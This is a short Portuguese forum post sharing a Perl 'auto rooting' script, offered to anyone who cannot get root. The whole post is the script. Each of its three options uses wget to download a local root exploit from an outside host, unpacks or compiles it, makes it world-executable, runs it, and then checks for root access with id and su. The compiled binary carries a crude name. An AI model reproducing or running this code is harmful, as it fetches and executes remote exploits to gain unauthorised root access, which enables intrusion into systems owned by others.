quem tiver com problema de fazer o root ai esta o exploit q fazer auto rooting
Código:
#!/usr/bin/perl #Root Tools if(@ARGV < 1){ print q( ###-----#### ####----### get-r00t ------------------------- usage : perl r00t.pl -A usage : perl r00t.pl -B usage : perl r00t.pl -C );exit;} if ($ARGV[0] =~ "-A" ) { print "1) Exploit 1.\n"; system "pwd"; system "wget http://milw0rm.com/sploits/2009-wunderbar_emporium.tgz"; sleep(2); print "0k...\n"; system "tar -xf 2009-wunderbar_emporium.tgz"; sleep(2); print "0k...\n"; system "cd wunderbar_emporium;./wunderbar_emporium.sh"; print "0k...\n"; system "uname -a;pwd;id;su"; } if ($ARGV[0] =~ "-B" ) { print "2) Exploit 2.\n"; system "pwd"; system "wget http://milw0rm.com/sploits/2009-proto_ops.tgz"; sleep(2); print "0k...\n"; system "tar -xf 2009-proto_ops.tgz"; sleep(2); print "0k...\n"; system "chmod 777 run.sh"; system "./run.sh"; print "0k...\n"; system "uname -a;pwd;id;su"; } if ($ARGV[0] =~ "-C" ) { print "2) Exploit 3.\n"; system "pwd"; system "wget http://tarantula.by.ru/localroot/2.4.x/elflbl"; sleep(2); print "0k...\n"; system "gcc -o gayros elflbl.c"; sleep(2); print "0k...\n"; system "chmod 777 gayros"; system "./gayros"; print "0k...\n"; system "uname -a;pwd;id;su"; }
Comment